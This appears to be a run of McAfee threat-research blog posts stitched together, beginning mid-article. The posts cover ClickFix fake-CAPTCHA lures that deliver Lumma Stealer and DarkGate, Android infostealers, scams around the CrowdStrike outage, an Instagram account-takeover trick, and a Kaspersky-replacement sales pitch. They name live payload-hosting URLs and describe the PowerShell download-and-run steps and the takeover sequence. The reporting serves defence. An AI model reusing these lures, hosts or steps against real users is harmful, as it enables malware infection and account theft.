The mshta utility searches for the <script> tag within a file and executes the script embedded in it, completely ignoring the binary portion of the file. This allows attackers to embed malicious scripts alongside non-executable content, making it easier for the malware to go undetected while still being executed through mshta.
Figure 9: Obfuscated script appended in the downloaded file
Upon analysis, the script was found to be an encrypted JavaScript file, utilizing two layers of encryption. This multi-level encryption obscures the script’s true functionality, making detection and analysis more challenging for security tools. Further analysis revealed that the decrypted JavaScript was designed to download Lumma Stealer using AES-encrypted PowerShell command and drop it in the Temp folder. This technique helps the malware avoid detection by placing the payload in a commonly used, less scrutinized directory, facilitating the next stage of the infection.
Figure 10: Process tree
In the second vector, users receive phishing emails, often targeting GitHub contributors, urging them to address a fake “security vulnerability.” These emails contain links leading to the same fake CAPTCHA pages.
Figure 11: Phishing email impersonating GitHub
Once the user clicks on the link, they’re redirected to the fake captcha pages.
Figure 12: Fake CAPTCHA page
These pages use the same technique: the malicious script is copied to the clipboard when the user clicks the button, and they are then prompted to execute it.
Figure 13: Script copied onto clipboard
This script retrieves and executes the contents of a text file hosted on an online server.
Figure 14: Invoking the remote script
The content of the text file contains PowerShell commands that download an executable file or a zip file. These files are saved into the temp folder and then executed. The downloaded files, in these cases, are Lumma Stealer samples.
McAfee blocks this infection chain at multiple stages:
Figure 15: McAfee blocking URLs
Figure 16: McAfee blocking the malicious behavior
In conclusion, the ClickFix infection chain demonstrates how cybercriminals exploit common user behaviors—such as downloading cracked software and responding to phishing emails—to distribute malware like Lumma Stealer. By leveraging fake CAPTCHA pages, attackers deceive users into executing malicious scripts that bypass detection, ultimately leading to malware installation.
The infection chain operates through two main vectors: cracked gaming software download URLs and phishing emails impersonating GitHub. In both cases, users are redirected to malicious CAPTCHA pages where scripts are executed to download and install malware. The use of multi-layered encryption further complicates detection and analysis, making these attacks more sophisticated and harder to prevent.
At McAfee Labs, we are committed to helping organizations protect themselves against sophisticated cyber threats, such as the Clickfix social engineering technique. Here are our recommended mitigations and remediations:

Recently, McAfee’s Mobile Research Team uncovered a new type of mobile malware that targets mnemonic keys by scanning for images on your device that might contain them. A mnemonic key is essentially a 12-word phrase that helps you recover your cryptocurrency wallets. It’s much simpler to remember than the typical complex “private key” it stands for.
This Android malware cleverly disguises itself as various trustworthy apps, ranging from banking and government services to TV streaming and utilities. However, once installed, these fake apps secretly gather and send your text messages, contacts, and all stored images to remote servers. They often distract users with endless loading screens, unexpected redirects, or brief blank screens to hide their true activities.
McAfee has identified over 280 fake applications involved in this scheme, which have been actively targeting users in Korea since January 2024. Thankfully, McAfee Mobile Security products are already on the lookout for this threat, known as SpyAgent, and are helping to keep your device safe from these deceptive tactics.
Figure 1 Timeline of this campaign
Mobile malware that targets users in Korea is mainly spread through clever phishing campaigns. These campaigns use text messages or direct messages on social media to send out harmful links. The attackers behind these messages often pretend to be organizations or people you trust, tricking you into clicking on their links. Once clicked, these links take you to fake websites that look incredibly real, mimicking the appearance of legitimate sites. These deceptive sites usually prompt you to download an app, which is how the malware gets installed on your device. Be cautious and always verify the authenticity of any message or link before clicking.
Figure 2 Fake Websites
When a user clicks on the download link, they are prompted to download an APK (Android Package Kit) file. Although this file appears to be a legitimate app, it is actually malicious software. Once the APK is downloaded, the user is asked to install the app. During installation, the app requests permission to access sensitive information such as SMS messages, contacts, and storage, and to run in the background. These permissions are often presented as necessary for the app to function properly, but in reality, they are used to compromise the user’s privacy and security.
Figure 3 App installation and requesting permissions
Once the app is installed and launched, it begins its main function of stealing sensitive information from the user and sending it to a remote server controlled by the attackers. The types of data it targets include:
The malware functions like an agent, capable of receiving and carrying out instructions from the remote server. These commands include:
During the investigation, the team discovered several key insights:
Insecure Command and Control Server: Several C2 servers were found to have weak security configurations, which allowed unauthorized access to specific index pages and files without needing credentials. This security lapse provided a deeper insight into the server’s functions and the types of data being gathered.
Upon examination, it was noted that the server’s root directory included multiple folders, each organized for different facets of the operation, such as mimicking banking institutions or postal services.
Figure 4 Exposed Indexing page of the root prior to the site being taken down
Due to the server’s misconfiguration, not only were its internal components unintentionally exposed, but the sensitive personal data of victims, which had been compromised, also became publicly accessible. In the ‘uploads’ directory, individual folders were found, each containing photos collected from the victims, highlighting the severity of the data breach.
Figure 5 Leaked images list from one of the victims of the ‘aepost’ campaign prior to the site being taken down
Admin Pages: Navigating from the exposed index pages led to admin pages designed for managing victims. These pages displayed a list of devices, complete with device information and various controllable actions. As the number of victims rises, the list of devices on these pages will expand accordingly.
Figure 6 Admin control panel
Targeting Cryptocurrency Wallets: Upon examining the page, it became clear that a primary goal of the attackers was to obtain the mnemonic recovery phrases for cryptocurrency wallets. This suggests a major emphasis on gaining entry to and possibly depleting the crypto assets of victims.
Figure 7 OCR details on Admin page
Data Processing and Management: This threat utilizes Python and Javascript on the server-side to process the stolen data. Specifically, images are converted to text using optical character recognition (OCR) techniques, which are then organized and managed through an administrative panel. This process suggests a high level of sophistication in handling and utilizing the stolen information.
Figure 8 Server-side OCR code
Originally, the malware communicated with its command and control (C2) server via simple HTTP requests. While this method was effective, it was also relatively easy for security tools to track and block. In a significant tactical shift, the malware has now adopted WebSocket connections for its communications. This upgrade allows for more efficient, real-time, two-way interactions with the C2 server and helps it avoid detection by traditional HTTP-based network monitoring tools. This change also makes it more challenging for security researchers to analyze traffic and intercept malicious communications.
The malware has also seen substantial improvements in its obfuscation techniques, which further complicates detection efforts by security software and researchers. APK obfuscation now conceals malicious code using strategies like string encoding, the insertion of irrelevant code, and the renaming of functions and variables to confuse analysts. These methods not only create confusion but also delay the detection process, effectively masking the malware’s true operations.
Moreover, the malware’s application and targeting strategies have evolved. Recent observations indicate that the malware has adapted and begun to spread within the UK. This development is significant as it shows that the threat actors are expanding their focus both demographically and geographically. The move into the UK points to a deliberate attempt by the attackers to broaden their operations, likely aiming at new user groups with localized versions of the malware.
The continuous evolution of this malware highlights the ever-changing and sophisticated nature of cyber threats today. Initially masquerading as apps for money loans or government services, it has now adapted to exploit personal emotions by mimicking obituary notices. The research team has discovered that the perpetrators are utilizing OCR technology to analyze and misuse the stolen data for financial benefits. As the malware advances, employing more intricate methods, forecasting its next moves becomes increasingly challenging. Cybercriminals are constantly enhancing their tactics to better infiltrate and manipulate user environments, escalating the danger posed by these threats over time.
Although this malware is not widely prevalent, its impact intensifies when it leverages a victim’s contacts to send deceptive SMS messages. These phishing messages, seemingly sent by a familiar contact, are more likely to be trusted and acted upon by recipients. For instance, an obituary notice appearing to come from a friend’s number could be perceived as authentic, greatly raising the likelihood of the recipient engaging with the scam, especially compared to phishing attempts from unknown sources. This strategy introduces a deceptive layer that significantly enhances the effectiveness and stealthiness of the attack. Early detection of such malware is critical to prevent its proliferation, minimize potential harm, and curb further escalation. In response, the team has taken proactive steps by reporting the active URLs to the relevant content providers, who have promptly removed them.
The discovery of an item labeled “iPhone” in the admin panel indicates that the next stage of this malware’s development might target iOS users. While no direct evidence of an iOS-compatible version has been found yet, the possibility of its existence is genuine. Our team has previously documented data-stealing activities affecting both Android and iOS platforms, suggesting that the threat actors might be working on an iOS variant. This is particularly alarming because, despite iOS’s reputation for security, there are still methods for installing malicious apps outside of the App Store, such as through enterprise certificates and tools like Scalet. This potential shift to iOS highlights the need for vigilance across all mobile platforms.
In such a landscape, it is crucial for users to be cautious about their actions, like installing apps and granting permissions. It is advisable to keep important information securely stored and isolated from devices. Security software has become not just a recommendation but a necessity for protecting devices. The McAfee Mobile Research team continues to stay alert, implementing robust security measures to counter these advanced threats. McAfee Mobile Security products are designed to detect and defend against not only malware but also other unwanted software. For further details, please visit our McAfee Mobile Security website.

Recently we witnessed one of the most significant IT disruptions in history, affecting a wide range of sectors such as banking, airlines, and emergency services. At the heart of this disruption was CrowdStrike, known for its Falcon enterprise security solutions. The issue stemmed from a faulty security update that corrupted the Windows OS kernel, leading to a widespread Blue Screen of Death (BSOD).
The incident spurred opportunistic behaviors among scammers and malware creators. McAfee Labs noted:
Voice Scams: There were also reports of robocalls offering assistance for these issues, though these claims have not been verified by McAfee.
It’s important to note that Mac and Linux users were unaffected by this incident, as the problems were confined to Windows systems. Furthermore, since CrowdStrike primarily serves the enterprise market, the crashes predominantly affected business services rather than personal consumer systems. However, the ripple effects of the disruption may have caused inconvenience for consumers dealing with affected service providers, and all consumers should be extra vigilant regarding unsolicited communications from sources claiming to be an impacted business.
This blog outlines the various malware threats and scams observed since the outage occurred on Friday, July 19, 2024.
This file, which seems to provide recovery guidelines, covertly incorporates a macro that silently installs malware designed to steal information.
Malicious doc first page
Infection Chain
Zip -> Doc -> Cmd.exe -> Curl.exe -> Malicious URL -> Rundll32.exe -> Infostealer DLL payload
Doc file uses malicious macros, Curl.exe and Certutil.exe to download malicious infostealer DLL payload.
The stealer terminates all running Browser processes and then tries to steal login data and coolies from different browsers. All the stolen data is saved under %Temp% folder in a text file. This data is sent to the attacker’s C2 server.
Attackers use a PDF file and malicious spam to trick victims into downloading a supposed recovery tool. Clicking the provided link connects to a malicious URL, which then downloads a Wiper malware payload. This data wiper is extracted under %Temp% folder and its main purpose is to destroy data stored on the victim’s device.

Zip files labeled “crowdstrike-hotfix.zip” that carry Hijack Loader malware, which then deploys Remcos RAT, have been observed being distributed to victims. Additionally, the zip file includes a text file with instructions on how to execute the .exe file to resolve the issue.
Remcos RAT allows attackers to take remote access to the victim’s machine and steal sensitive information from their system.
Once the outage gained media attention, numerous domains containing the word “crowdstrike” were registered, aimed at manipulating search engine results. Over the weekend, several of these newly registered domains became active.
Here are some examples:

The post The Scam Strikes Back: Exploiting the CrowdStrike Outage appeared first on McAfee Blog.
Authored by Yashvi Shah and Vignesh Dhatchanamoorthy
McAfee Labs has discovered a highly unusual method of malware delivery, referred to by researchers as the “Clickfix” infection chain. The attack chain begins with users being lured to visit seemingly legitimate but compromised websites. Upon visiting, victims are redirected to domains hosting fake popup windows that instruct them to paste a script into a PowerShell terminal.
The “ClickFix” infection chain represents a sophisticated form of social engineering, leveraging the appearance of authenticity to manipulate users into executing malicious scripts. These compromised websites are often carefully crafted to look genuine, increasing the likelihood of user compliance. Once the script is pasted and executed in the PowerShell terminal, it allows the malware to infiltrate the victim’s system, potentially leading to data theft, system compromise, or further propagation of the malware.
We have observed malware families such as Lumma Stealer and DarkGate leveraging this technique. Here is the heatmap showing the distribution of users affected by the “Clickfix” technique:
Figure 1:Prevalence for the last three months
DarkGate is a sophisticated malware known for its ability to steal sensitive information, provide remote access, and establish persistent backdoors in compromised systems. It employs advanced evasion tactics and can spread within networks, making it a significant cybersecurity threat.
McAfee Labs obtained a phishing email from the spamtrap, having an HTML attachment.
Figure 2: Email with Attachment
The HTML file masquerades as a Word document, displaying an error prompt to deceive users. This tactic is used to trick users into taking actions that could lead to the download and execution of malicious software.
Figure 3: Displays extension problem issue
As shown, the sample displays a message stating, “The ‘Word Online’ extension is NOT installed in your browser. To view the document offline, click the ‘How to fix’ button.”
Before clicking on this button, let’s examine the underlying code. Upon examining the code, it was discovered that there were several base64-encoded content blocks present. Of particular significance was one found within the <Title> tag, which played a crucial role in this scenario.
Figure 4: HTML contains Base64-encoded content in the title tag
Decoding this we get,
Figure 5: After decoding the code
The decoded command demands PowerShell to carry out malicious activities on a system. It starts by downloading an HTA (HTML Application) file from the URL https://www.rockcreekdds.com/wp-content/1[.]hta and saves it locally as C:\users\public\Ix.hta.
The script then executes this HTA file using the start-process command, which initiates harmful actions on the system. Additionally, the script includes a command (Set-Clipboard -Value ‘ ‘) to clear the contents of the clipboard. After completing its tasks, the script terminates the PowerShell session with exit.
Upon further inspection of the HTML page, we found a javascript at the end of the code.
Figure 6: Decoding function snippet
This JavaScript snippet decodes and displays a payload, manages modal interactions for user feedback, and provides functionality for copying content to the clipboard upon user action.
In a nutshell, clicking on the “How to fix” button triggers the execution of JavaScript code that copies the PowerShell script directly onto the clipboard. This script, as previously discussed, includes commands to download and execute an HTA file from a remote server.
Let’s delve into it practically:
Figure 7: Clipboard contains malicious command
The attackers’ additional instruction to press Windows+R (which opens the Run dialog) and then press CTRL+V (which pastes the contents from the clipboard) suggests a social engineering tactic to further convince the user to execute the PowerShell script. This sequence of actions is intended to initiate the downloaded script (likely stored in the clipboard) without the user fully understanding its potentially malicious nature.
Once the user does this, the HTA file gets downloaded.
Figure 8: HTA code snippet
The above file attempts to connect to the marked domain and execute a PowerShell file from this malicious source. Given below is the malicious script that is stored remotely and executed.
Figure 9: Powershell code snippet
As this PowerShell script is executed implicitly without any user interaction, a folder is created in the C drive where an AutoIt executable and script are dropped and executed automatically.
Figure 10: Downloaded zip contains AutoIT script
Following this, DarkGate begins its malicious activity and starts communicating with its command and control (C2) server.
A similar Clickfix social engineering technique was found to be dropping Lumma Stealer.
McAfee Labs discovered a website displaying an error message indicating that the browser is encountering issues displaying the webpage. The site provides steps to fix the problem, which are designed to deceive users into executing malicious actions.
Figure 11: Showing error on accessing the webpage
It directs the target user to perform the following steps:
Let’s analyze the code that gets copied when clicking the “Copy Fix” button.
Figure 12: Base64-encoded content
As we can see, the code includes base64-encoded content. Decoding this content, we get the following script:
Figure 13: After decoding the Base64 content
This PowerShell script flushes the DNS cache and then decodes a base64-encoded command to fetch and execute a script from a remote URL https://weoleycastletaxis.co.uk/chao/baby/cow[.]html, masquerading the request with a specific User-Agent header. The fetched script is then executed, and the screen is cleared to hide the actions. Subsequently, it decodes another base64 string to execute a command that sets the clipboard content to a space character. The script is likely designed for malicious purposes, such as downloading and executing remote code covertly while attempting to hide its activity from the user.
Upon execution, the following process tree flashes:
Figure 14: Process Tree
As we know it is downloading the malware from the given URL, a new folder is created in a Temp folder and a zip is downloaded:
Figure 15: Network activity
The malware is unzipped and dropped in the same folder:
Figure 16: Dropped files
The malware starts communicating with its C2 server as soon as it gets dropped in the targeted system.
In conclusion, the Clickfix social engineering technique showcases a highly effective and technical method for malware deployment. By embedding base64-encoded scripts within seemingly legitimate error prompts, attackers deceive users into performing a series of actions that result in the execution of malicious PowerShell commands. These commands typically download and execute payloads, such as HTA files, from remote servers, subsequently deploying malware like DarkGate and Lumma Stealer.
Once the malware is active on the system, it begins its malicious activities, including stealing users’ personal data and sending it to its command and control (C2) server. The script execution often includes steps to evade detection and maintain persistence, such as clearing clipboard contents and running processes in minimized windows. By disguising error messages and providing seemingly helpful instructions, attackers manipulate users into unknowingly executing harmful scripts that download and run various kinds of malware.

As the world gears up for the 2024 Paris Olympics, excitement is building, and so is the potential for scams. From fake ticket sales to counterfeit merchandise, scammers are on the prowl, leveraging big events to trick unsuspecting fans. Recently, McAfee researchers uncovered a particularly malicious scam that not only aims to deceive but also to portray the International Olympics Committee (IOC) as corrupt.
This scam involves sophisticated social engineering techniques, where the scammers aim to deceive. They’ve become more accessible than ever thanks to advancements in Artificial Intelligence (AI). Tools like audio cloning enable scammers to create convincing fake audio messages at a low cost. These technologies were highlighted in McAfee’s AI Impersonator report last year, showcasing the growing threat of such tech in the hands of fraudsters.
The latest scheme involves a fictitious Amazon Prime series titled “Olympics has Fallen II: The End of Thomas Bach,” narrated by a deepfake version of Elon Musk’s voice. This fake series was reported to have been released on a Telegram channel on June 24th, 2024. It’s a stark reminder of the lengths to which scammers will go to spread misinformation and exploit public figures to create believable narratives.
As the Olympic Games approach, it’s crucial to stay vigilant and question the authenticity of sensational claims, especially those found on less regulated platforms like Telegram. Always verify information through official channels to avoid falling victim to these sophisticated scams.
As we approach the Olympic Games, it’s crucial to stay vigilant and question the authenticity of sensational claims, especially those found on less regulated platforms like Telegram. Always verify information through official channels to avoid falling victim to these sophisticated scams.
Cover Image of the series
This series seems to be the work of the same creator who, a year ago, put out a similar short series titled “Olympics has Fallen,” falsely presented as a Netflix series featuring a deepfake voice of Tom Cruise. With the Olympics beginning, this new release looks to be a sequel to last year’s fabrication.
Image and Description of last year’s released series
These so-called documentaries are currently being distributed via Telegram channels. The primary aim of this series is to target the Olympics and discredit its leadership. Within just a week of its release, the series has already attracted over 150,000 viewers, and the numbers continue to climb.
In addition to claiming to be an Amazon Prime story, the creators of this content have also circulated images of what seem to be fabricated endorsements and reviews from reputable publishers, enhancing their attempt at social engineering.
Fake endorsement of famous publishers
This 3-part series consists of episodes utilizing AI voice cloning, image diffusion and lip-sync to piece together a fake narration. A lot of effort has been expended to make the video look like a professionally created series. However, there are certain hints in the video, such as the picture-in-picture overlay that appears at various points of the series. Through close observation, there are certain glitches

Elon Musk’s voice has been a target for impersonation before. In fact, McAfee’s 2023 Hacker Celebrity Hot List placed him at number six, highlighting his status as one of the most frequently mimicked public figures in cryptocurrency scams.
As the prevalence of deepfakes and related scams continues to grow, along with campaigns of misinformation and disinformation, McAfee has developed deepfake audio detection technology. Showcased on Intel’s AI PCs at RSA in May, McAfee’s Deepfake Detector – formerly known as Project Mockingbird – helps people discern truth from fiction and defends consumers against cybercriminals utilizing fabricated, AI-generated audio to carry out scams that rob people of money and personal information, enable cyberbullying, and manipulate the public image of prominent figures.
With the 2024 Olympics on the horizon, McAfee predicts a surge in scams involving AI tools. Whether you’re planning to travel to the summer Olympics or just following the excitement from home, it’s crucial to remain alert. Be wary of unsolicited text messages offering deals, steer clear of unfamiliar websites, and be skeptical of the information shared on various social platforms. It’s important to maintain a critical eye and use tools that enhance your online safety.
McAfee is committed to empowering consumers to make informed decisions by providing tools that identify AI-generated content and raising awareness about their application where necessary. AI generated content is becoming increasingly believable nowadays. Some key recommendations while viewing content online
Note: McAfee is not affiliated with the Olympics and nothing in this article should be interpreted as indicating or implying one. The purpose of this article is to help build awareness against misinformation campaigns. “Olympics Has Fallen II” is the name of one such campaign discovered by McAfee.

Citing national security concerns, the U.S. Department of Commerce has issued a ban on the sale of all Kaspersky online protection software in the U.S. This ban takes effect immediately.
Of major importance to current customers of Kaspersky online protection, the ban also extends to security updates that keep its protection current. Soon, Kaspersky users will find themselves unprotected from the latest threats.
Current Kaspersky users have until September 29, 2024 to switch to new online protection software. On that date, updates will cease. In fact, the Department of Commerce shared this message with Kaspersky customers:
“I would encourage you, in as strong as possible terms, to immediately stop using that [Kaspersky] software and switch to an alternative in order to protect yourself and your data and your family.”
As providers of online protection ourselves, we believe every person has the right to be protected online. Of course, we (and many industry experts!) believe McAfee online protection to be second to none, but we encourage every single person to take proactive steps in securing their digital lives, whether with McAfee or a different provider. There is simply too much at stake to take your chances. The nature of life online today means we are living in a time of rising cases of online identity theft, data breaches, scam texts, and data mining.
If you’re a current Kaspersky US customer, we hope you’ll strongly consider McAfee as you look for a safe and secure replacement. For a limited time, you can get a $10 discount to switch to McAfee using code MCAFEEKASUS10 at checkout.
With that, we put together a quick Q&A for current Kaspersky users who need to switch their online protection software quickly. And as you’ll see, the Department of Commerce urges you to switch immediately.
Yes. The Department of Commerce has issued what’s called a “Final Determination.” In the document, the government asserts that:
“The Department finds that Kaspersky’s provision of cybersecurity and anti-virus software to U.S. persons, including through third-party entities that integrate Kaspersky cybersecurity or anti-virus software into commercial hardware or software, poses undue and unacceptable risks to U.S. national security and to the security and safety of U.S. persons.”
(i) This news follows the 2017 ban on using Kaspersky software on government devices. (ii) That ban alleged that Russian hackers used the software to steal classified materials from a device that had Kaspersky software installed. (iii) Kaspersky has denied such allegations.
Yes. In addition to barring new sales or agreements with U.S. persons from July 20, the ban also applies to software updates. Like all online protection software, updates keep people safe from the latest threats. Without updates, the software leaves people more and more vulnerable over time. The update piece of the ban takes hold on September 29. With that, current users have roughly three months to get new online protection that will keep them protected online.
The answer depends on your device. The links to the following support pages can walk you through the process:
Today, you need more than anti-virus to keep you safe against the sophisticated threats of today’s digital age. You need comprehensive online protection. By “comprehensive” we mean software that protects your devices, identity, and privacy. Comprehensive online protection software from McAfee covers all three — because hackers, scammers, and thieves target all three.
“Comprehensive” also means that your software continues to grow and evolve just as the internet does. It proactively rolls out new features as new threats appear, such as:
Text Scam Detector that helps protect you against the latest scams via text, email, QR codes, and on social media. Also, should you accidentally click, web protection blocks sketchy links that crop up in searches and sites.
Social Privacy Manager that helps you adjust more than 100 privacy settings across your social media accounts in only a few clicks. It also protects privacy on TikTok, making ours the first privacy service to protect people on that platform. For families, that means we now cover the top two platforms that teens use, TikTok and YouTube.
AI-powered protection that doesn’t slow you down. For more than a decade, our award-winning protection has used AI to block the latest threats — and today it provides 3x faster scans with 75% fewer processes running on the PC. Independent tests from labs like AV-Comparatives have consistently awarded McAfee with the highest marks for both protection and for performance.
What should I do about the Kaspersky ban?
As the Department of Commerce urges, switch now.
Yet, make a considered choice. Comprehensive online protection software that looks out for your devices, identity, and privacy is a must — something you are likely aware of already as a Kaspersky user.
We hope this rundown of the Kaspersky news helps as you seek new protection. And we also hope you’ll give us a close look. Our decades-long track record of award-winning protection and the highest marks from independent labs speaks to how strongly we feel about protecting you and everyone online. Kaspersky US customers can get a discount to switch to McAfee for a limited time, using code MCAFEEKASUS10 at checkout.

Many government agencies provide their services online for the convenience of their citizens. Also, if this service could be provided through a mobile app, it would be very convenient and accessible. But what happens when malware pretends to be these services?
McAfee Mobile Research Team found an InfoStealer Android malware pretending to be a government agency service in Bahrain. This malware pretends to be the official app of Bahrain and advertises that users can renew or apply for driver’s licenses, visas, and ID cards on mobile. Users who are deceived by advertisements that they are available on mobile will be provided with the necessary personal information for these services without a doubt. They reach users in various ways, including Facebook and SMS messages. Users who are not familiar with these attacks easily make the mistake of sending personal information.
In Bahrain, there’s a government agency called the Labour Market Regulatory Authority (LMRA). This agency operates with full financial and administrative independence under the guidance of a board of directors chaired by the Minister of Labour. They provide a variety of mobile services, and most apps provide only one service per app. However, this fake app promotes providing more than one service.
Figure 1. Legitimate official LMRA website
Figure 2. Fake app named LMRA
Excluding the most frequently found fake apps pretending LMRA, there are various fake apps included Bank of Bahrain and Kuwait (BBK), BenefitPay, a fintech company in Bahrain, and even apps pretending to be related to Bitcoin or loans. These apps use the same techniques as the LMRA fake apps to steal personal information.
Figure 3. Various fake apps using the same techniques
From the type of app that this malware pretends, we can guess that the purpose is financial fraud to use the personal information it has stolen. Moreover, someone has been affected by this campaign as shown in the picture below.
Figure 4. Victims of financial fraud (Source: Reddit)
They distribute these apps using Facebook pages and SMS messages. Facebook pages are fake and malware author is constantly creating new pages. These pages direct users to phishing sites, either WordPress blog sites or custom sites designed to download apps.
Figure 5. Facebook profile and page with a link to the phishing site
Figure 6. One of the phishing sites designed to download app
In the case of SMS, social engineering messages are sent to trick users into clicking a link so that they feel the need to urgently confirm.
Figure 7. Phishing message using SMS (Source: Reddit)
When the user launches the app, the app shows a large legitimate icon for users to be mistaken. And it asks for the CPR and phone number. The CPR number is an exclusive 9-digit identifier given to each resident in Bahrain. There is a “Verify” button, but it is simply a button to send information to the C2 server. If users input their information, it goes directly to the next screen without verification. This step just stores the information for the next step.
Figure 8. The first screen (left) and next screen of a fake app (right)
There are various menus, but they are all linked to the same URL. The parameter value is the CPR and phone numbers input by the user on the first screen.
Figure 9. All menus are linked to the same URL
The last page asks for the user’s full name, email, and date of birth. After inputting everything and clicking the “Send” button, all information inputted so far will be sent to the malware author’s c2 server.
Figure 10. All data sent to C2 server
After sending, it shows a completion page to trick the user. It shows a message saying you will receive an email within 24 hours. But it is just a counter that decreases automatically. So, it does nothing after 24 hours. In other words, while users are waiting for the confirmation email for 24 hours, cybercriminals will exploit the stolen information to steal victims’ financial assets.
Figure 11. Completion page to trick users
In addition, they have a payload for stealing SMS. This app has a receiver that works when SMS is received. So as soon as SMS comes, it sends an SMS message to the C2 server without notifying the user.
Figure 12. Payload for stealing SMS
We confirmed that there are two types of these apps. There is a type that implements a custom C2 server and receives data directly through web API, and another type is an app that uses Firebase. Firebase is a backend service platform provided by Google. Among many services, Firestore can store data as a database. This malware uses Firestore. Because it is a legitimate service provided by Google, it is difficult to detect as a malicious URL.
For apps that use Firebase, dynamically load phishing URLs stored in Firestore. Therefore, even if a phishing site is blocked, it is possible to respond quickly to maintain already installed victims by changing the URL stored in Firestore.
Figure 13. Dynamically loading phishing site loaded in webview
According to our detection telemetry data, there are 62 users have already used this app in Bahrain. However, since this data is a number at the time of writing, this number is expected to continue to increase, considering that new Facebook pages are still being actively created.
Recent malware tends to target specific countries or users rather than widespread attacks. These attacks may be difficult for general users to distinguish because malware accurately uses the parts needed by users living in a specific country. So we recommend users install secure software to protect their devices. Also, users are encouraged to download and use apps from official app stores like Google Play Store or Apple AppStore. If you can’t find an app in these stores, you must download the app provided on the official website.
McAfee Mobile Security already detects this threat as Android/InfoStealer. For more information, visit McAfee Mobile Security.

The post Fake Bahrain Government Android App Steals Personal Data Used for Financial Fraud appeared first on McAfee Blog.
Authored by Vignesh Dhatchanamoorthy, Rachana S
Instagram, with its vast user base and dynamic platform, has become a hotbed for scams and fraudulent activities. From phishing attempts to fake giveaways, scammers employ a range of tactics to exploit user trust and vulnerability. These scams often prey on people’s desire for social validation, financial gain, or exclusive opportunities, luring them into traps that can compromise their personal accounts and identity.
McAfee has observed a concerning scam emerging on Instagram, where scammers are exploiting the platform’s influencer program to deceive users. This manipulation of the influencer ecosystem underscores the adaptability and cunning of online fraudsters in their pursuit of ill-gotten gains.
The Instagram influencer program, designed to empower content creators and influencers by providing opportunities for collaboration and brand partnerships, has inadvertently become a target for exploitation. Scammers are leveraging the allure of influencer status to lure unsuspecting individuals into fraudulent schemes, promising fame, fortune, and exclusive opportunities in exchange for participation.
The first step involves a cybercrook creating a dummy account and using it to hack into a target’s Instagram account. Using those hacked accounts hackers then share posts about Bitcoin and other cryptocurrencies. Finally, the hacked accounts are used to scam target friends with a request that they vote for them to win an influencer contest.
After this series of steps is complete, the scammer will first identify the target and then send them a link with a Gmail email address to vote in their favor.
Fig 1: Scammer Message
While the link in the voting request message likely leads to a legitimate Instagram page, victims are often directed to an Instagram email update page upon clicking — not the promised voting page. Also, since the account sending the voting request is likely familiar to the scam target, they are more likely to enter the scammer’s email ID without examining it closely.
During our research, we saw scammers like Instagram’s accounts center link to their targets like below hxxp[.]//accountscenter.instagram.com/personal_info/contact_points/contact_point_type=email&dialog_type=add_contact_point
Fig 2. Email Updating Page
We took this opportunity to gain more insight into the details of how these deceptive tactics are carried out, creating an email account (scammerxxxx.com and victimxxxx.com) and a dummy Instagram account using that email (victimxxxx.com) for testing purposes.
Fig 3. Victim’s Personal Details
We visited the URL provided in the chat and entered our testing email ID scammerxxxx.com instead of entering the email address provided by the scammer, which was “vvote8399@gmail.com”
Fig 4. Adding Scammer’s Email Address in Victim Account
After adding the scammerxxxx.com address in the email address field, we received a notification stating, “Adding this email will replace vitimxxxx.com on this Instagram account”.
This is the point at which a scam target will fall victim to this type of scam if they are not aware that they are giving someone else, with access to the scammerxxxx.com email address, control of their Instagram account.
After selecting Next, we were redirected to the confirmation code page. Here, scammers will send the confirmation code received in their email account and provide that code to victims, via an additional Instagram message, to complete the email updating process.
In our testing case, the verification code was sent to the email address scammerxxxx.com.
Fig 5. Confirmation Code Page
We received the verification code in our scammerxxxx.com account and submitted it on the confirmation code page.
Fig 6. Confirmation Code Mail
Once the ‘Add an Email Address’ procedure is completed, the scammer’s email address is linked to the victim’s Instagram account. As a result, the actual user will be unable to log in to their account due to the updated email address.
Fig 7. Victim’s Profile after updating Scammer’s email
Because the scammer’s email address (scammerxxxx.com) was updated the account owner — the scam victim will not be able to access their account and will instead receive the message “Sorry, your password was incorrect. Please double-check your password.”
Fig 8. Victim trying to login to their account.
The scammer will now change the victim’s account password by using the “forgot password” function with the new, scammer email login ID.
Fig 9. Forgot Password Page
The password reset code will be sent to the scammer’s email address (scammerxxxx.com).
Fig 10. Reset the Password token received in the Scammer’s email
After getting the email, the scammer will “Reset your password” for the victim’s account.
Fig 11. Scammer Resetting the Password
After resetting the password, the scammer can take over the victim’s Instagram account.

Fitness trackers worn on the wrist, glucose monitors that test blood sugar without a prick, and connected toothbrushes that let you know when you’ve missed a spot—welcome to internet-connected healthcare. It’s a new realm of care with breakthroughs big and small. Some you’ll find in your home, some you’ll find inside your doctor’s office, yet all of them are connected. Which means they all need to be protected. After all, they’re not tracking any old data. They’re tracking our health data, one of the most precious things we own.
Internet-connected healthcare, also known as connected medicine, is a broad topic. On the consumer side, it covers everything from smart watches that track health data to wireless blood pressure monitors that you can use at home. On the practitioner side, it accounts for technologies ranging from electronic patient records, network-enabled diagnostic devices, remote patient monitoring in the form of wearable devices, apps for therapy, and even small cameras that can be swallowed in the form of a pill to get a view of a patient’s digestive system.
Additionally, it also includes telemedicine visits, where you can get a medical issue diagnosed and treated remotely via your smartphone or computer by way of a video conference or a healthcare provider’s portal—which you can read about more in one of my blogs. In all, big digital changes are taking place in healthcare—a transformation that’s rapidly taking shape to the tune of a global market expected to top USD 534.3 billion by 2025.
Advances in digital healthcare have come more slowly compared to other aspects of our lives, such as consumer devices like phones and tablets. Security is a top reason why. Not only must a healthcare device go through a rigorous design and approval process to ensure it’s safe, sound, and effective, but it’s also held to similar rigorous degrees of regulation when it comes to medical data privacy. For example, in the U.S., we have the Health Insurance Portability and Accountability Act of 1996 (HIPAA), which sets privacy and security standards for certain health information.
Taken together, this requires additional development time for any connected medical device or solution, in addition to the time it takes to develop one with the proper efficacy. Healthcare device manufacturers cannot simply move as quickly as, say, a smartphone manufacturer can. And rightfully so.
However, for this blog, we’ll focus on the home and personal side of the equation, with devices like fitness trackers, glucose monitors, smartwatches, and wearable devices in general—connected healthcare devices that more and more of us are purchasing on our own. To be clear, while these devices may not always be categorized as healthcare devices in the strictest (and regulatory) sense, they are gathering your health data, which you should absolutely protect. Here are some straightforward steps you can take:
1) First up, protect your phone
Many medical IoT devices use a smartphone as an interface, and as a means of gathering, storing, and sharing health data. So whether you’re an Android owner or iOS owner, get security software installed on your phone so you can protect all the things it accesses and controls. Additionally, installing it will protect you and your phone in general as well.
2) Set strong, unique passwords for your medical IoT devices
